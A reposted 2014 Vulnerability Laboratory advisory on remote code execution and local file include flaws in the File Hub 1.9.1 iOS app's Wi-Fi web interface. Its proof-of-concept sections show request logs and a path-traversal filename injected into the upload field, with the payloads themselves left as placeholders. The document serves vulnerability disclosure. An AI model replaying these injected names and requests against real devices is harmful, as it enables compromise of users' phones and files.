发布 2014-02-16 漏洞条目

File Hub 1.9.1 iOS – Multiple Vulnerabilities

Exploit Source

Document Title:

===============

File Hub v1.9.1 iOS - Multiple Web Vulnerabilities

References (Source):

====================

http://www.vulnerability-lab.com/get_content.php?id=1195

Release Date:

=============

2014-02-15

Vulnerability Laboratory ID (VL-ID):

====================================

1195

Common Vulnerability Scoring System:

====================================

9.1

Product & Service Introduction:

===============================

File Hub is a powerful and intuitive file manager for iOS. Read, Play, View many file formats, easily transfer files

between computer or cloud services and manage files via browser on computer. Voice recorder, text file editor and more.

(Copy of the Vendor Homepage: https://itunes.apple.com/en/app/file-hub-usb+wifi+bluetooth+cloud/id520299954 )

Abstract Advisory Information:

==============================

The Vulnerability Laboratory Research Team discovered multiple critical web vulnerabilities in the official File Hub v1.9.1 iOS application.

Vulnerability Disclosure Timeline:

==================================

2014-02-15: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

=================

Published

Affected Product(s):

====================

Apple AppStore

Product: File Hub - Mobile Web Application 1.9.1

Exploitation Technique:

=======================

Remote

Severity Level:

===============

Critical

Technical Details & Description:

================================

1.1

A critical remote code execution web vulnerability has been discovered in the official File Hub v1.9.1 iOS mobile web-application.

The web vulnerability allows remote attackers to execute unauthorized system specific codes or commands to compromise the affected system/service.

The vulnerability is located in the `folder rename via edit` and `new folder` function of the file hub wifi application interface. Remote attackers

are able to inject own system specific codes as folder/path name to compromise the application. The code execution occurs after the inject via POST

method in the main index and the sub category folder. In the sub category folder the code executes in the header location of the application context.

In the main index the code execution occurs in the index file dir & item list. The security risk of the remote code execution vulnerability in the

new folder function is estimated as critical with a cvss (common vulnerability scoring system) count of 9.3(+)|(-)9.4.

Exploitation of the code execution vulnerability requires no user interaction or privileged mobile web-application user account with password.

Successful exploitation of the remote code execution vulnerability results in mobile application or connected device component compromise.

Request Method(s):

[+] [POST]

Vulnerable Module(s):

[+] New Folder (Add)

Vulnerable Parameter(s):

[+] folder name

Affected Module(s):

[+] Index File Dir Item List - Path Dir Location on Top

[+] Sub Category - Header Location to Path

1.2

A local file include web vulnerability has been discovered in the official File Hub v1.9.1 iOS mobile web-application.

The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or system

specific path commands to compromise the web-application or mobile device.

The web vulnerability is located in the `file name` value of the `Files to Upload` module POST method request. Remote attackers are

able to inject own files with malicious filename to compromise the mobile application. The attack vector is persistent and the request

method is POST. The local file/path include execution occcurs in the main file to path section after the refresh of the file upload.

The security risk of the local file include web vulnerability is estimated as high(+) with a cvss (common vulnerability scoring

system) count of 7.3(+)|(-)7.4.

Exploitation of the local file include web vulnerability requires no user interaction or privileged web-application user account with password.

Successful exploitation of the local web vulnerability results in mobile application or connected device component compromise by unauthorized

local file include web attacks.

Request Method(s):

[+] [POST]

Vulnerable Input(s):

[+] Files to Upload

Vulnerable Parameter(s):

[+] filename

Affected Module(s):

[+] Index File Dir Item List

[+] Sub Category File Dir Item List

[+] Index File or Item Edit

[+] Index File or Item Remove/Delete

Proof of Concept (PoC):

=======================

1.1

The remote code execution web vulnerability can be exploited by remote attackers without user interaction and privileged application user account.

For security demonstration or to reproduce the vulnerability follow the provided information and steps below.

PoC:

<span class="jtable-column-header-text">Last modified</span><div class="jtable-column-resize-handler"></div></div></th><th style="width: 4.81902%;"

class="jtable-column-header"><div class="jtable-column-header-container"><span class="jtable-column-header-text"></span></div></th><th style="width: 1%;"

class="jtable-command-column-header"></th><th style="width: 1%;" class="jtable-command-column-header"></th></tr></thead><tbody><tr data-record-key="/BKM-Filter-Bypass-0ne"

class="jtable-data-row jtable-row-even"><td class="jtable-selecting-column"><input type="checkbox"></td><td><img src="https://www.exploit-db.com/exploits/31693/File%20Hub_1-Dateien/folder.png" height="32px"

width="32px"></td><td><a style="cursor: pointer;" href="http://localhost:8080/">BKM-Filter-Bypass-0ne</a></td><td>N/A</td><td>11.02.14 20:01</td><td></td>

<td class="jtable-command-column"><button class="jtable-command-button jtable-edit-command-button" title="Rename file"><span>Rename file</span></button></td>

<td class="jtable-command-column"><button class="jtable-command-button jtable-delete-command-button" title="Delete"><span>Delete</span></button></td></tr>

<tr data-record-key="/test23" class="jtable-data-row"><td class="jtable-selecting-column"><input type="checkbox"></td><td><img src="https://www.exploit-db.com/exploits/31693/File%20Hub_1-Dateien/folder.png"

height="32px" width="32px"></td><td><a style="cursor: pointer;" href="http://localhost:8080/">test23</a></td><td>N/A</td><td>11.02.14 20:01</td><td></td>

<td class="jtable-command-column"><button class="jtable-command-button jtable-edit-command-button" title="Rename file"><span>Rename file</span></button></td>

<td class="jtable-command-column"><button class="jtable-command-button jtable-delete-command-button" title="Delete"><span>Delete</span></button></td></tr>

<tr data-record-key="/test337+">[REMOTE CODE EXECUTION VULNERABILITY!]>" class="jtable-data-row jtable-row-even"><td class="jtable-selecting-column">

<span>Rename file</span></button></td><td class="jtable-command-column"><button class="jtable-command-button jtable-delete-command-button" title="Delete">

<span>Delete</span></button></td></tr></tbody></table>

--- PoC Session Logs [POST] ---

Status: 200[OK]

POST http://localhost:8080/rename.php Load Flags[LOAD_BYPASS_CACHE LOAD_BACKGROUND ] Gr��e des Inhalts[171] Mime Type[application/x-unknown-content-type]

Request Header:

Host[localhost:8080]

User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0]

Accept[application/json, text/javascript, */*; q=0.01]

Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]

Accept-Encoding[gzip, deflate]

Content-Type[application/x-www-form-urlencoded; charset=UTF-8]

X-Requested-With[XMLHttpRequest]

Referer[http://localhost:8080/]

Content-Length[61]

Connection[keep-alive]

Pragma[no-cache]

Cache-Control[no-cache]

POST-Daten:

FileId[%2Ftest337[REMOTE CODE EXECUTION VALUE!]]

Name[localhost]

Response Header:

Accept-Ranges[bytes]

Content-Length[171]

Date[Tue, 11 Feb 2014 19:02:54 GMT]

Status: 200[OK]

GET http://localhost:8080/[REMOTE CODE EXECUTION VALUE!] Load Flags[LOAD_DOCUMENT_URI ] Gr��e des Inhalts[0] Mime Type[application/x-unknown-content-type]

Request Header:

Host[localhost:8080]

User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0]

Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]

Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]

Accept-Encoding[gzip, deflate]

Referer[http://localhost:8080/]

Connection[keep-alive]

Response Header:

Accept-Ranges[bytes]

Content-Length[337]

Date[Tue, 11 Feb 2014 19:02:54 GMT]

1.2

The local file include web vulnerability can be exploited by remote attackers without privileged web application user account and also

without user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below.

PoC:

<th style="width: 1%;" class="jtable-command-column-header"></th><th style="width: 1%;"

class="jtable-command-column-header"></th></tr></thead><tbody><tr data-record-key="/asdads/8f11a581d505d476cebd607056e4c167621c2e61.jpg"

class="jtable-data-row jtable-row-even"><td class="jtable-selecting-column"><input type="checkbox"></td><td>

<img src="https://www.exploit-db.com/exploits/31693/File%20Hub_3-Dateien/jpg.png" height="32px" width="32px"></td><td><a style="cursor: pointer;"

href="http://localhost:8080/">%20>"\\>../[LOCAL FILE INCLUDE VULNERABILITY VIA qqfile FILENAME!]/.jpg</a></td><td>24 Kb</td><td>11.02.14 20:30</td><td>

--- PoC Session Logs [POST] ---

Status: 200[OK]

POST http://localhost:8080/upload.php Load Flags[LOAD_BYPASS_CACHE ]

Gr��e des Inhalts[16]

Mime Type[application/x-unknown-content-type]

Request Header:

Host[localhost:8080]

User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0]

Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]

Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]

Accept-Encoding[gzip, deflate]

X-Requested-With[XMLHttpRequest]

Cache-Control[no-cache]

Referer[http://192.168.2.109:8080/]

Content-Length[25068]

Content-Type[multipart/form-data; boundary=---------------------------13158193021484]

Cookie[jtable%2376270709page-size=10]

Connection[keep-alive]

Pragma[no-cache]

POST-Daten:

POST_DATA[-----------------------------13158193021484

Content-Disposition: form-data; name="uploader"

fineuploader

-----------------------------13158193021484

Content-Disposition: form-data; name="dirpath"

/test23

-----------------------------13158193021484

Content-Disposition: form-data; name="qquuid"

ed6448c1-abb5-4df8-9216-2adb17900f55

-----------------------------13158193021484

Content-Disposition: form-data; name="qqtotalfilesize"

24386

-----------------------------13158193021484

Content-Disposition: form-data; name="qqfile"; filename="\\>../[LOCAL FILE INCLUDE VULNERABILITY VIA qqfile FILENAME!]/.jpg"

Content-Type: image/jpeg

��

PoC: Button Error in Menu - qqfile > filename (Edit & Delete)

<button class="jtable-command-button jtable-edit-command-button" title="Rename file"><span>Rename file</span></button></td>

<span>Delete</span></button></td></tr><tr data-record-key="/test337 "><\\>../[LOCAL FILE INCLUDE VULNERABILITY VIA qqfile FILENAME!]/.jpg"

class="jtable-data-row jtable-row-selected"><td class="jtable-selecting-column"><input type="checkbox"></td><td><img src="https://www.exploit-db.com/webroot/images/fileicons/folder.png"

height="32px" width="32px"></td><td><a style="cursor: pointer;" href="https://www.exploit-db.com/exploits/31693/.">test337 "><\\>../[LOCAL FILE INCLUDE VULNERABILITY VIA qqfile FILENAME!]/.jpg">

</a></a></td>

Solution - Fix & Patch:

=======================

1.1

The remote code execution vulnerability can be patched by a secure restriction and parse of the vulnerable rename and folder name values.

1.2

The local file include web vulnerability can be patched by a secure parse and encode of file names. Ensure also that the values in the index and

sub category item list are prepared with a secure validation to prevent file include or arbitrary file upload attacks.

Security Risk:

==============

1.1

The security risk of the remote code execution web vulnerability is estimated as critical.

1.2

The security risk of the local file include web vulnerability is estimated as high.

Credits & Authors:

==================

Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]

Disclaimer & Information:

=========================

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作者: Vulnerability-Lab
日期: 2014-02-16
类别: webapps
平台: ios

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